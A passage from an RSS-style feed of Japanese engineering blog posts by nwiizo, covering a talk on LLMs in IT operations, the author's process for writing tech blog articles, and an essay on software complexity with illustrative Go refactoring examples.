後の展望発表後、参加者から興味深いフィードバックをいただきました。特に、LLMの実際の運用現場での活用事例や、課題への具体的な対処法に関する質問が多く寄せられました。これらの反応から、運用におけるLLM活用はまだ発展途上であり、多くの企業や組織、個人がまだまだ試行錯誤の段階にあることがわかりました。今後は、より具体的な事例研究や、ベストプラクティスの共有が求められると感じています。さいごにLLMは確かに素晴らしい技術ですが、万能ではありません。現段階だと人間の専門知識や判断力と組み合わせることで、初めてその真価を発揮します。今後も、LLMと運用の関係性について研究を続け、自動化の楽しさを紹介していきたいと考えています(ホンマか??)。","isoDate":"2024-09-06T06:46:07.000Z","dateMiliSeconds":1725605167000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"2024年版 運用者たちのLLM","link":"https://speakerdeck.com/nwiizo/2024nian-ban-yun-yong-zhe-tatinollm","contentSnippet":"Cloud Operator Days 2024 クロージングイベント\rhttps://cloudopsdays.com/closing/\r\rとても、端的に言うと「プロンプトエンジニアリングをしよう」って話。\rこの発表資料は、LLM(大規模言語モデル)によるIT運用の可能性と課題を探っています。AIOpsの概念を基に、LLMがインシデント対応、ドキュメンテーション、コード分析などの運用タスクをどのように改善できるかを説明しています。同時に、LLMの「幻覚」や不完全性といった課題も指摘し、適切な利用方法やプロンプトエンジニアリングの重要性を強調しています。\r\r登壇時ブログ\rhttps://syu-m-5151.hatenablog.com/entry/2024/09/06/154607","isoDate":"2024-09-06T04:00:00.000Z","dateMiliSeconds":1725595200000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"テックブログを書く時にやっていること","link":"https://syu-m-5151.hatenablog.com/entry/2024/08/26/210112","contentSnippet":"はじめにテックブログの執筆プロセスは、エンジニアの経験や知識を活用し、多様な情報源から価値ある内容を抽出し、読者にとって有益な形に整理する作業です。この過程では、自身の業務経験はもちろん、他のブログ記事や技術書籍など、幅広い情報を取り入れ、それらを咀嚼し、独自の視点で再構築します。この時に困難は伴いますが、同時に自身の考えを整理し、新たなアイデアを生み出す貴重な機会となります。 多くのエンジニアと同様に、私もブログのネタが自然に湧き出てくるタイプではありません。そこで、試行錯誤を重ねて確立した、効果的なブログ執筆方法を皆さんと共有したいと思います。この方法は、情報の収集から記事の執筆まで、段階的なアプローチを採用しています。各ステップを意識的に踏むことで、自分として納得できる記事を継続的に生み出すことが可能になります。以下に、私が日々実践しているプロセスを詳しく説明していきます。1. データ収集まずは、様々な源から幅広く情報を集めることから始めます。そして、実際に手を動かして経験を積みます。これらはすべて、潜在的なブログのネタになります。日々の業務で気づいたことをメモするデバッグ中に遭遇した興味深い問題や、その解決プロセスを詳細にメモしましょう。これらの経験は、他のエンジニアにとって貴重な学びとなる可能性があります。Slack、Notion、あるいは物理的なノートなど、自分に合った方法でメモを取る習慣をつけることが重要です。本を読みまくる技術書を定期的に読むことで、新しい知識や視点を得ることができます。読んだ本の要点や自分の見解をまとめることで、読者に価値ある情報を提供できます。月に1-2冊のペースで読書し、その内容を整理することをおすすめします。同僚との会話を大切にする昼食時や休憩時間の雑談でも、重要なトピックが浮上することがあります。例えば、マイクロサービスの課題について話し合った内容を、より深く掘り下げてブログ記事にすることができます。会話の中で出てきた興味深いポイントをメモする習慣をつけましょう。業界のニュースや記事を読む毎日30分程度、技術ブログやニュースをチェックする時間を設けましょう。最新のトレンドや技術動向をまとめた記事を定期的(例えば週1回)に書くことで、自身の知識も整理でき、読者にも価値を提供できます。実際に手を動かして試してみる興味のある新しいフレームワークやツールを使って、小規模なプロジェクトを作成してみましょう。この学習過程と気づきをステップバイステップで記事にまとめることで、読者に実践的な情報を提供できます。週末や空き時間を利用して、定期的に新しい技術に触れる機会を作りましょう。個人プロジェクトで開発する最近話題のツールや技術を自分のプロジェクトに組み込んでみましょう。この統合プロセスを詳細に記録し、遭遇した課題や解決策、得られた知見をブログ記事にまとめることで、読者に実用的な情報を提供できます。月に1つは新しい技術を個人プロジェクトに取り入れる目標を立てるのも良いでしょう。コードリーディングを習慣化するオープンソースのプロジェクトのコードを定期的に読むことで、優れた設計パターンや実装テクニックを学ぶことができます。興味深い発見があれば、それを解説する記事を書いてみましょう。週に1回、30分程度の時間をコードリーディングに充てることをおすすめします。2. データを創発させる集めたデータを基に新しい関連性を見出す創造のプロセスは、ブログ記事作成の核心部分です。既存の要素を新しく組み合わせることで、独自の洞察を生み出します。異なる分野の知識を結びつける人文科学や自然科学など、エンジニアリング以外の分野の本や記事を読むことで、新しい視点を得ることができます。例えば、心理学の概念をソフトウェアアーキテクチャの設計に応用するなど、意外な関連性を探求し、ブログ記事のユニークなテーマとして扱いましょう。月に1冊は異分野の本を読むことをおすすめします。原理原則に立ち返る様々なフレームワークや技術を比較分析する中で、それらの根底にある共通の設計原則や思想を見出すことができます。これらの普遍的な原則をブログの核心テーマとして扱うことで、読者に深い洞察を提供できます。技術書を読む際は、表面的な機能だけでなく、その背後にある設計思想にも注目しましょう。問題を抽象化するチームで直面した具体的な問題を一般化し、より広い文脈で捉え直すことで、多くのプロジェクトに適用できる普遍的な課題が見えてくることがあります。この抽象化された問題解決アプローチをブログにまとめることで、様々な状況に応用可能な知見を読者に提供できます。問題に直面したときは、「これは他のどんな場面でも起こりうるか?」と自問する習慣をつけましょう。技術のクロスオーバーを探す異なる技術領域や手法を組み合わせることで、新しいアイデアが生まれることがあります。例えば、機械学習の手法をWebアプリケーション開発に適用するなど、異分野の融合を探求し、そのアイデアをブログで提案してみましょう。週に1回、「今取り組んでいる技術は、他のどの分野と組み合わせられるか」を考える時間を設けるのも良いでしょう。3. 放置するこのステップが意外と大事です。わざとブログのアイデアを放置することで、無意識のうちに考えが熟成されます。完全に忘れるブログのアイデアをメモした後、意図的に1週間程度そのことを考えないようにします。この期間が経過した後に再度内容を見直すと、新鮮な目で客観的に評価できることがあります。Notionやトレロなどのツールを使って、アイデアを整理し、定期的に(例えば週1回)見直す時間を設けるのが効果的です。全く違う活動に没頭する技術的な思考から離れ、全く異なる活動に取り組むことで、思わぬインスピレーションを得ることがあります。例えば、自然の中でのアクティビティや芸術活動などに時間を費やしてみましょう。週末や休暇を利用して、定期的に技術以外の活動に没頭する時間を作ることをおすすめします。眠りにつく直前まで考え、そして手放す就寝前にブログの構成や内容について考えを巡らせ、その後意識的に手放すことで、睡眠中に無意識的な処理が行われることがあります。翌朝、新たな視点やアイデアが浮かんでくることも少なくありません。寝る前の15分間を「ブログアイデアタイム」として設定し、思考をノートに書き出してから眠るという習慣をつけてみましょう。4. もう一度考え続けてひらめきを待つアイデアを温めた後、再び記事の構想に取り組む時間です。この段階では、長期的な視点を持ちつつ、具体的な記事の形を模索します。過去のメモを読み返す1ヶ月以上前に書いたアウトラインや断片的なメモを見直すことで、当初気づかなかった重要なポイントが浮かび上がってくることがあります。これらの新たな気づきを記事の核心部分として活用しましょう。月に1回、過去のメモを整理し、再評価する時間を設けることをおすすめします。技術の未来を想像する現在の技術トレンドを分析し、5年後、10年後の技術の姿を想像してみましょう。この長期的な視点から現在の技術の使い方を解説することで、読者により価値のある洞察を提供できます。四半期に1回程度、技術の将来予測に関する記事を書くことを目標にしてみてください。複数の記事案を比較する同じテーマについて、異なるアプローチや切り口で3つ程度の記事案を考えてみましょう。それぞれの特徴を比較し、最も読者の役に立つと思われる方向性を選択します。この過程で、当初は思いもよらなかった新しい視点が生まれることもあります。記事を書く前に、必ず複数の構成案を作成し、それぞれのメリット・デメリットを評価する習慣をつけましょう。他の記事との差別化を考える同じトピックに関する既存の記事を徹底的に調査し、自分の経験や知識を活かして、どのような新しい視点や情報を提供できるかを考えます。他の記事にはない独自の切り口や、より深い洞察を加えることで、記事の価値を高めることができます。記事を書く前に、必ず競合する記事を5つ以上読み、それぞれの特徴をメモし、自分の記事の差別化ポイントを明確にしましょう。5. 出てきたアイデアの使い方を考えるいよいよ記事の具体的な構成を考える段階です。技術的な正確さを保ちつつ、読みやすく、実用的な内容にすることが重要です。同時に、記事の質を高め、読者との信頼関係を構築するために、以下の点に特に注意を払ってください。導入部分を工夫する読者の興味を引くために、記事の冒頭で技術が解決できる身近な問題や、その技術がもたらす具体的なメリットを提示します。例えば、「この技術を使うことで開発時間を30%削減できた」といった具体的な数字や、実際のユースケースを紹介することで、読者の関心を高めることができます。コードと説明のバランスを取る技術記事では、コード例と説明文のバランスが重要です。核となる概念を簡潔に説明した後、実際のコード例を示し、そのコードの各部分の詳細な解説を加えます。コードブロックは適度な長さに保ち、長すぎる場合は分割して説明を挟むことで、読者の理解を助けます。自分の経験を織り交ぜる技術の解説に加えて、その技術を実際のプロジェクトで使用した際の経験談を盛り込みます。直面した課題、試行錯誤のプロセス、最終的な解決策など、具体的なストーリーを共有することで、読者にとってより実践的で価値ある情報を提供できます。読者の疑問を予測する自分がその技術を学んだ時に抱いた疑問や、同僚から受けた質問などをリストアップし、それぞれに答える形で記事を構成します。FAQセクションを設けたり、「よくある間違い」といった項目を追加することで、読者の潜在的な疑問に先回りして答えることができます。根拠を示し、判断基準を明確にし、批判的思考を持つ強い主張や比較を行う際は、その根拠と判断基準を明確に示してください。「この方法が最善である」や「AよりBの方が優れている」と述べる場合、なぜそう考えるのか、どのような観点(パフォーマンス、可読性、学習曲線など)で判断したのかを詳細に説明してください。同時に、自説の限界や適用範囲も認識し、「この方法はすべての状況で最適というわけではありません」といった但し書きを加えることで、読者の批判的思考を促します。また、個人の意見や経験に基づく主張と、客観的な事実や統計データを明確に区別してください。「私の経験では...」や「一般的に言われているのは...」といった前置きを適切に使用することで、読者は情報の性質を正確に理解できます。まとめと次のステップを示す記事の最後には、主要ポイントの簡潔なまとめを提供するだけでなく、読者が次に取るべきアクションを具体的に提案します。例えば、その技術をさらに深く学ぶためのリソース、関連する技術やツール、次に挑戦すべき課題などを提示することで、読者の継続的な学習を促進します。さいごにテックブログの執筆は、私たちエンジニアにとって、単なる記事作成以上の意味を持つ活動のはずです。日々の経験や学びを整理し、深め、そして誰かと共有する機会として捉えることができます。完璧を目指すあまり執筆を躊躇するよりも、まずは自分自身が興味を持つテーマから書き始めることが大切だと私は考えています。 このアプローチは、読む人の役に立つかもしれないという期待とともに、執筆者自身の成長にもつながります。ブログを書く過程で、自分の考えを整理し、新たな視点を得られることもあります。それぞれのエンジニアの経験や視点は異なりますから、自分の言葉で記事を綴ることで、誰かにとって新しい気づきを提供できるかもしれません。日々の仕事や学習で得た知識や経験をブログにすることで、自分自身の中で新たな発見があったり、個人的な成長を感じたりすることがあります。また、読んでくれた人からのコメントや反応が、さらなる学びのきっかけになることもあります。最後に、読んでくださっている方々に伝えたいのは、あなたの経験や知識にも必ず誰かにとっての価値があるということです。 小さなことでも、誰かにとっては新しい発見や学びのきっかけになるかもしれません。ためらわずに書いてみることをお勧めします。テックブログの執筆を通じて、私たち一人一人が少しずつ学び、成長できたらいいなと思っています。あなたの書いた記事が、誰かの助けになるかもしれません。今日から始めてみるのはいかがでしょうか。各プロセスで生成AIを利用する際の注意点とか書こうと思ったんですけどもう良い時間なのでご飯に行きます。参考文献と言うか読んだ方がいい本この本は、テックブログのネタに困ったときというかアイデアが出ない時の救世主です。私はこの本から多大な影響を受けており、このブログで紹介した5つのステップもここから着想を得て実践しています。著者の主張する「新しいアイデアは既存の要素の新しい組み合わせ」という考え方は、肩の荷が下りるので本当に大切です(いつもはアイディアって言ってるんですけど今回はこの本に敬意を込めてアイデアとしてます)。アイデアのつくり方作者:ジェームス W.ヤングCCCメディアハウスAmazonエンジニアとして文章を書くには「考える力」が不可欠です。この本は、その力を養うのに最適な一冊です。新版 思考の整理学 (ちくま文庫)作者:外山滋比古筑摩書房Amazonみなさん、最後まで読んでくれて本当にありがとうございます。途中で挫折せずに付き合ってくれたことに感謝しています。読者になってくれたら更に感謝です。Xまでフォロワーしてくれたら泣いているかもしれません。","isoDate":"2024-08-26T12:01:12.000Z","dateMiliSeconds":1724673672000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"この世の中に溢れているので自分が発言する必要はないが「ソフトウェアは認知の限界まで複雑になる」を自分なりに再考する","link":"https://syu-m-5151.hatenablog.com/entry/2024/08/25/142213","contentSnippet":"人間が何もしないと病気になるのと同じように、ソフトウェアも何もしないと複雑になる。はじめにソフトウェア開発の世界に飛び込んでから、「ソフトウェアは認知の限界まで複雑になる」という言葉を耳にしたとき、正直なところ、「ほへー」って思いながら何も理解していませんでした。しかし、大規模なシステムに携わるようになって、その言葉の重みを身をもって感じるようになりました。内部構造や相互作用が複雑化し、全体を把握するのが難しくなっていく。それは挑戦であると同時に、私たち開発者の存在意義を問いかけるものでもあります。A Philosophy of Software Design, 2nd Edition (English Edition)作者:Ousterhout, John K. Amazonこの複雑性との闘いは、時に苦しいものです。でも、それを乗り越えたときの喜びは何物にも代えがたい。私たちの理解力の限界に挑戦し続けることで、成長の機会を得られるのかもしれません。また、絶対的な正解が存在しないことも認識することが重要です。それぞれの組織や開発チームにとっての最適解は異なるため、継続的に自分たちの状況を評価し、最適なアプローチを探り続ける必要があります。この過程では、チームメンバー間のオープンなコミュニケーションと実験的な姿勢が鍵となります。時には失敗することもありますが、そこから学びを得て前進することで、長期的には組織全体の能力向上につながるでしょう。 speakerdeck.comなお、この概念は広く知られており、多くの議論がなされています。しかし、自分なりに再考することには大きな意義があります。なぜなら、個人の経験や視点を通じて理解を深めることで、この普遍的な課題に対する新たな洞察や独自のアプローチを見出せる可能性があるからです。また、自分の言葉で表現し直すことで、チーム内での議論を促進し、共通理解を深める機会にもなります。さらに、技術の進化や開発手法の変化に伴い、この概念の意味や影響も変化しているかもしれません。そのため、現代のコンテキストにおいてこの概念を再評価することは、ソフトウェア開発の未来を考える上で重要なのです。正直なところ、このブログに書いていることは完全に自己満足かもしれません。しかし、この自己満足的な行為を通じて、私自身の理解を深め、そして少しでも他の人の考えるきっかけになれば、それはそれで価値があるのではないでしょうか。個人的には「Good Code, Bad Code ~持続可能な開発のためのソフトウェアエンジニア的思考」や「ルールズ・オブ・プログラミング ―より良いコードを書くための21のルール」も良かったのです。資料としては「複雑さに立ち向かうためのコードリーディング入門」や「オブジェクト指向のその前に-凝集度と結合度/Coheision-Coupling」も合わせてオススメです。複雑性の源泉ソフトウェアの複雑性は様々な要因から生まれます。機能の増加:全ての機能は最初から分かってるわけでなくユーザーの要求に応えるため、次々と新機能が追加されていく。レガシーコードの蓄積:古いコードが新しいコードと共存し、相互作用する。技術的負債:短期的な解決策が長期的な複雑性を生み出す。外部依存関係:サードパーティライブラリやAPIの統合が複雑性を増す。スケーラビリティ要件:大規模なデータや高いトラフィックに対応するための設計が複雑さを増す。これらの要因が相互に作用し合い、ソフトウェアシステムは徐々に、そして時には急激に複雑化していきます。複雑性の影響過度の複雑性は、ソフトウェア開発プロセス全体に深刻な影響を及ぼします。開発速度の低下:新機能の実装や既存機能の修正に時間がかかるようになる。バグの増加:複雑なシステムほど、予期せぬ相互作用やエッジケースが発生しやすい。メンテナンス性の低下:コードベースの理解が困難になり、変更のリスクが高まる。オンボーディングの難化:新しいチームメンバーが全体を把握するまでの時間が長くなる。イノベーションの阻害:既存システムの制約が新しいアイデアの実現を妨げる。複雑性との共存完全に複雑性を排除することは不可能ですが、以下の戦略を通じて管理することは可能です。モジュール化:システムを独立した、理解しやすいコンポーネントに分割する。抽象化:詳細を隠蔽し、高レベルの概念を通じてシステムを理解・操作できるようにする。設計パターンの活用:一般的な問題に対する標準的な解決策を適用する。継続的なリファクタリング:定期的にコードを見直し、改善する。適切な文書化:システムの構造や意思決定の理由を明確に記録する。マイクロサービスアーキテクチャの採用は、大規模なモノリシックシステムの複雑性を管理するための一つのアプローチです。しかし、これは単に銀の弾丸ではなく複雑性の性質を変えるだけで、新たな形の複雑性(例えば、サービス間通信やデータ一貫性の管理)をもたらす可能性があります。そのため、アーキテクチャの選択は慎重に行い、トレードオフを十分に考慮する必要があります。マイクロサービスアーキテクチャ 第2版作者:Sam Newmanオーム社Amazon複雑性と認知負荷ソフトウェアの複雑性は、開発者の認知負荷と密接に関連しています。人間の脳には情報処理能力の限界があり、この限界を超えると効率的な問題解決や創造的思考が困難になります。プログラマー脳 ~優れたプログラマーになるための認知科学に基づくアプローチ作者:フェリエンヌ・ヘルマンス,水野貴明,水野いずみ秀和システムAmazon複雑なソフトウェアシステムは、以下の方法で開発者の認知負荷を増大させます。同時に考慮すべき要素の増加複雑な相互依存関係の理解抽象化レベルの頻繁な切り替え長期記憶と作業記憶の継続的な活用これらの要因により、開発者は「認知の限界」に達し、それ以上の複雑性を効果的に管理することが困難になります。以下は、複雑性が増大したコードの例です。// ComplexSystem は、システム全体の複雑性を体現する構造体です。// 複雑性の要因:多数の依存関係、状態管理、イベント処理、設定管理の組み合わせtype ComplexSystem struct { components map[string]Component // 動的に管理される多数のコンポーネント interactions map[string][]string // コンポーネント間の複雑な相互作用を表現 stateManager *StateManager // 全体の状態を管理する複雑なロジック eventBus *EventBus // 非同期イベント処理による複雑性 configProvider ConfigProvider // 動的な設定変更による複雑性 logger Logger // 複数の場所でのロギングによる情報の分散 cache *Cache // パフォーマンス最適化のための追加レイヤー metrics *MetricsCollector // システム監視のための追加の複雑性 errorHandler ErrorHandler // カスタムエラーハンドリングによる複雑性 scheduler *Scheduler // 非同期タスクスケジューリングによる複雑性}// ProcessEvent は、イベント処理の複雑性を示す関数です。// 複雑性の要因:多段階の処理、エラーハンドリング、状態更新、非同期処理の組み合わせfunc (cs *ComplexSystem) ProcessEvent(event Event) error { cs.metrics.IncrementEventCounter(event.Type) // メトリクス収集による複雑性 cs.logger.Log(\"Processing event: \" + event.Name) // キャッシュチェックによる条件分岐の増加 if cachedResult, found := cs.cache.Get(event.ID); found { cs.logger.Log(\"Cache hit for event: \" + event.ID) return cs.handleCachedResult(cachedResult) } // 複雑な依存関係の解決 affectedComponents := cs.resolveAffectedComponents(event) // ゴルーチンを使用した並行処理による複雑性の増加 resultChan := make(chan ComponentResult, len(affectedComponents)) for _, componentID := range affectedComponents { go cs.processComponentAsync(componentID, event, resultChan) } // 非同期処理結果の収集と統合 for i := 0; i < len(affectedComponents); i++ { result := <-resultChan if result.Error != nil { cs.errorHandler.HandleError(result.Error) return result.Error } cs.updateSystemState(result) } // 動的設定に基づく条件付き処理 config := cs.configProvider.GetConfig() if config.EnablePostProcessing { if err := cs.performPostProcessing(event); err != nil { cs.logger.Error(\"Error in post-processing: \" + err.Error()) return cs.errorHandler.WrapError(err, \"PostProcessingFailed\") } } // イベントバスを使用した非同期通知 cs.eventBus.Publish(NewStateChangedEvent(event.ID, cs.stateManager.GetCurrentState())) // 次のスケジュールされたタスクのトリガー cs.scheduler.TriggerNextTask() cs.logger.Log(\"Event processed successfully\") return nil}// processComponentAsync は、個別のコンポーネント処理を非同期で行う関数です。// 複雑性の要因:ゴルーチン内での処理、エラーハンドリング、状態更新の組み合わせfunc (cs *ComplexSystem) processComponentAsync(componentID string, event Event, resultChan chan<- ComponentResult) { component, exists := cs.components[componentID] if !exists { resultChan <- ComponentResult{Error: fmt.Errorf(\"component not found: %s\", componentID)} return } newState, err := component.HandleEvent(event) if err != nil { resultChan <- ComponentResult{Error: cs.errorHandler.WrapError(err, \"ComponentProcessingFailed\")} return } cs.stateManager.UpdateState(componentID, newState) resultChan <- ComponentResult{ID: componentID, State: newState}}// performPostProcessing は、イベント処理後の追加処理を行う関数です。// 複雑性の要因:条件分岐、エラーハンドリング、外部サービス呼び出しの組み合わせfunc (cs *ComplexSystem) performPostProcessing(event Event) error { // 複雑な条件分岐 switch event.Type { case \"TypeA\": // 外部サービス呼び出し if err := cs.externalServiceA.Process(event); err != nil { return cs.errorHandler.WrapError(err, \"ExternalServiceAFailed\") } case \"TypeB\": // データ変換と検証 transformedData, err := cs.dataTransformer.Transform(event.Data) if err != nil { return cs.errorHandler.WrapError(err, \"DataTransformationFailed\") } if !cs.dataValidator.Validate(transformedData) { return cs.errorHandler.NewError(\"InvalidTransformedData\") } // さらなる処理... default: // デフォルトの複雑な処理ロジック // ... } // メトリクス更新 cs.metrics.IncrementPostProcessingCounter(event.Type) return nil}このコードは、多層の依存関係、複雑な状態管理、非同期イベント処理、動的設定、並行処理、多重エラーハンドリング、クロスカッティングコンサーンなどを含む極度に複雑なシステムを表現しており、その全体を理解し効果的に管理するには開発者の認知能力を大きく超える負荷が必要となります。この複雑性に対処するため、システムを小さな独立したサービスに分割し、各コンポーネントの責務を明確に定義することで、全体の理解と管理を容易にすることができます。以下は、そのアプローチを示す簡略化したサンプルです。// EventProcessor は、イベント処理の主要なインターフェースを定義します。type EventProcessor interface { ProcessEvent(event Event) error}// SimpleEventProcessor は、EventProcessor の基本的な実装です。type SimpleEventProcessor struct { logger Logger repository Repository publisher EventPublisher}// NewSimpleEventProcessor は、SimpleEventProcessor の新しいインスタンスを作成します。func NewSimpleEventProcessor(logger Logger, repository Repository, publisher EventPublisher) *SimpleEventProcessor { return &SimpleEventProcessor{ logger: logger, repository: repository, publisher: publisher, }}// ProcessEvent は、単一のイベントを処理します。func (p *SimpleEventProcessor) ProcessEvent(event Event) error { p.logger.Info(\"Processing event\", \"id\", event.ID, \"type\", event.Type) if err := event.Validate(); err != nil { return fmt.Errorf(\"invalid event: %w\", err) } result, err := p.repository.Store(event) if err != nil { return fmt.Errorf(\"failed to store event: %w\", err) } if err := p.publisher.Publish(result); err != nil { p.logger.Error(\"Failed to publish result\", \"error\", err) } p.logger.Info(\"Event processed successfully\", \"id\", event.ID) return nil}このアプローチにより、システムの複雑性が大幅に低減され、各コンポーネントの役割が明確になり、開発者の認知負荷が軽減されます。結果として、(組織や人によっては)コードの理解、保守、拡張が容易になり、長期的なシステムの健全性が向上します。複雑性のパラドックス興味深いことに、ソフトウェアの複雑性には一種のパラドックスのような構造が存在します。それはシステムを単純化しようとする試みが、かえって複雑性を増大させることがあるのです。例えば:抽象化の過剰:過度に抽象化されたシステムは、具体的な実装の理解を困難にする。過度な一般化:あらゆるケースに対応しようとすることで、システムが不必要に複雑になる。新技術の導入:複雑性を減らすために導入された新技術が、学習コストや統合の複雑さを増す。以下は、過度な抽象化の例です:type AbstractFactory interface { CreateProduct() Product ConfigureProduct(Product) error ValidateProduct(Product) bool}type ConcreteFactory struct { config Config validator Validator decorator Decorator}func (f *ConcreteFactory) CreateProduct() Product { // Complex creation logic return nil}func (f *ConcreteFactory) ConfigureProduct(p Product) error { // Complex configuration logic return nil}func (f *ConcreteFactory) ValidateProduct(p Product) bool { // Complex validation logic return true}// Usagefunc UseFactory(factory AbstractFactory) { product := factory.CreateProduct() err := factory.ConfigureProduct(product) if err != nil { // Error handling } if !factory.ValidateProduct(product) { // Validation failed } // Use the product}このコードは柔軟性を目指していますが、実際の使用時には理解と実装が困難になる可能性があります。このような複雑性のパラドックスに対処するには、適度な抽象化と具体的な実装のバランスを取ることが重要です。以下は、シンプルさと柔軟性のバランスを取った改善例です。type Product struct { // Product fields}type ProductFactory struct { config Config}func NewProductFactory(config Config) *ProductFactory { return &ProductFactory{config: config}}func (f *ProductFactory) CreateProduct() (*Product, error) { product := &Product{} if err := f.configureProduct(product); err != nil { return nil, fmt.Errorf(\"failed to configure product: %w\", err) } if !f.validateProduct(product) { return nil, errors.New(\"product validation failed\") } return product, nil}func (f *ProductFactory) configureProduct(p *Product) error { // Configuration logic return nil}func (f *ProductFactory) validateProduct(p *Product) bool { // Validation logic return true}// Usagefunc UseFactory(factory *ProductFactory) { product, err := factory.CreateProduct() if err != nil { // Error handling return } // Use the product}この改善したコードは、単一責任の原則に基づいた ProductFactory の特化、一箇所でのエラーハンドリング、具体的な型の使用による理解のしやすさ、そして内部メソッドの非公開化によるカプセル化を特徴とし、これらの要素が複合的に作用することで、コードの複雑性を軽減しつつ必要な機能性を維持しています。このアプローチにより、コードの複雑性を減らしつつ、必要な柔軟性を維持することができます。適度な抽象化と具体的な実装のバランスを取ることで、(組織や人によっては)開発者の理解を促進し、長期的なメンテナンス性を向上させることができます。おわりにソフトウェアの複雑性は、諸刃の剣のようなものだと気づきました。それは私たちの能力を押し上げる原動力になる一方で、管理を怠れば混沌を招く危険性も秘めています。完全に複雑性を排除することは不可能かもしれません。しかし、それと向き合い、うまく付き合っていく術を見つけることは可能だと信じています。病気になってから健康に気を使い始めるのが辛いように、限界まで複雑化したソフトウェアをリファクタリングしていく作業も非常に困難です。そのため、早い段階から複雑性を管理する習慣を身につけることが重要です。ただし、この過程で過度に最適化やリファクタリングに固執すると、本来の目的を見失い、それ自体が目的化してしまう危険性があります。これは趣味が手段から目的にすり替わる現象に似ており、行き過ぎた最適化はまた別の問題を引き起こす可能性があります。Tidy First?: A Personal Exercise in Empirical Software Design (English Edition)作者:Beck, KentO'Reilly MediaAmazonしたがって、ビジネス側の要求や理想を実現するために、様々な手法やアプローチを積極的に検証していく姿勢も必要です。技術的な観点だけでなく、ビジネスゴールを常に意識し、両者のバランスを取りながら最適な解決策を模索することが、持続可能なソフトウェア開発につながります。過度な最適化や複雑性の管理に陥ることなく、ビジネス価値の創出と技術的な健全性のバランスを保つことが重要です。日々の開発の中で、継続的な管理プロセスの重要性を実感しています。適切なトレードオフを見極め、チーム内での知識共有や学習を大切にすること。これらは複雑性と付き合っていく上で欠かせない要素です。さらに、ビジネス部門との緊密なコミュニケーションを通じて、技術的な制約や可能性について相互理解を深めることも重要です。ツールやプラクティスは確かに助けになりますが、それらだけでは根本的な解決にはなりません。結局のところ、私たち人間の認知能力と技術の限界との絶え間ない闘いが続くのです。この挑戦に立ち向かい、バランスを取りながら進化し続けること。そして、ビジネスとテクノロジーの両面から問題にアプローチする柔軟性を持つことが、ソフトウェア開発者としての真の成長につながるのではないでしょうか。知らんけど…ソフトウェアファースト第2版 あらゆるビジネスを一変させる最強戦略作者:及川 卓也日経BPAmazon近年の大規模言語モデル(LLM)の急速な発展により、ソフトウェアの複雑性管理に新たな要素がもたらされつつあり、LLMが人間の認知能力を超える可能性が現実味を帯びてきている中、これはソフトウェア開発者にとってチャンスと挑戦の両面を意味します。例えばLLMが複雑なコードベースを瞬時に解析して最適化の提案を行ったり、人間には把握しきれない複雑な相互作用を予測して潜在的な問題を事前に指摘したりする可能性があります。github.com一方で、LLMの判断をどのように検証し、人間の意図や倫理的考慮をどのように組み込んでいくか、またLLMと人間の協働をどのように設計し、それぞれの強みを最大限に活かすかといった新たな課題に対する明確な解答や確立された手法はまだ見つかっていません。このような状況下で、エンジニアとして、LLMの進化とその影響について継続的かつ慎重に情報収集を行い、批判的に分析する姿勢が不可欠です。単に新技術を受け入れるのではなく、その長所と短所を十分に理解し、既存のソフトウェア開発プラクティスとの整合性を慎重に評価する必要があります。 speakerdeck.com今後はLLMの能力を活用しつつ、人間ならではの創造性や突っ込めないコンテキスト、直感、倫理的判断を組み合わせた新しいソフトウェア開発のアプローチを模索し、技術の進歩に適応しながらも人間中心の開発哲学を失わないバランスを取ることが求められるのではないでしょうか?。運用者目線でどうなのか?みたいなことを喋る機会があるので喋っていきたい。event2024.cloudopsdays.comみなさん、最後まで読んでくれて本当にありがとうございます。途中で挫折せずに付き合ってくれたことに感謝しています。読者になってくれたら更に感謝です。Xまでフォロワーしてくれたら泣いているかもしれません。","isoDate":"2024-08-25T05:22:13.000Z","dateMiliSeconds":1724563333000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"すぐに役に立つものはすぐに陳腐化してしまうから方法ではなく設計の本を読む - API Design Patterns の読書感想文","link":"https://syu-m-5151.hatenablog.com/entry/2024/08/20/191435","contentSnippet":"あなたがさっきまで読んでいた技術的に役立つ記事は、10年後も使えるでしょうか?ほとんどの場合でいいえはじめに短期的に効果的な手法や知識は、ソフトウェア開発の分野において、急速に価値を失う傾向があります。この現象は、私たちが何を重点的に学ぶべきかを示唆しています。最も重要なのは、第一に基本的な原理・原則、そして第二に方法論です。特定の状況にのみ適用可能な知識や即座に結果を出すテクニックは、長期的には有用性を失う可能性が高いです。これは、技術や手法が時間とともに進化し、変化していくためです。learning.oreilly.com「API Design Patterns」は、このような考え方を体現した書籍です。しかも480 ページもあります。本書は単なる手法の列挙ではなく、Web APIデザインの根幹をなす原則と哲学を探求しています。著者のJJ Geewax氏は、APIを「コンピュータシステム間の相互作用を定義する特別な種類のインターフェース」と定義し、その本質的な役割を明確に示しています。API Design Patterns (English Edition)作者:Geewax, JJManningAmazonSREの分野においても、netmarkjpさんの「現場がさき、 プラクティスがあと、 原則はだいじに」という卓越した発表資料があります。この資料はこのように原則を大事にしながら現場をやっていくにはどうすればいいかの指針を示してくれています。この書籍との邂逅を通じて、私の視座は大きく拡がりました。日々直面するAPI設計、実装、維持の課題に対し、より深遠な洞察と長期的な展望を得られたと実感しています。特に印象的だったのは、著者によるAPIの定義です。「コンピュータシステム間の相互作用を定義する特別な種類のインターフェース」というこの洞察は、APIの本質的役割を鮮明に照らし出し、私のAPI設計への理解を劇的に深化させました。「はじめに」にあるべき全体像「API Design 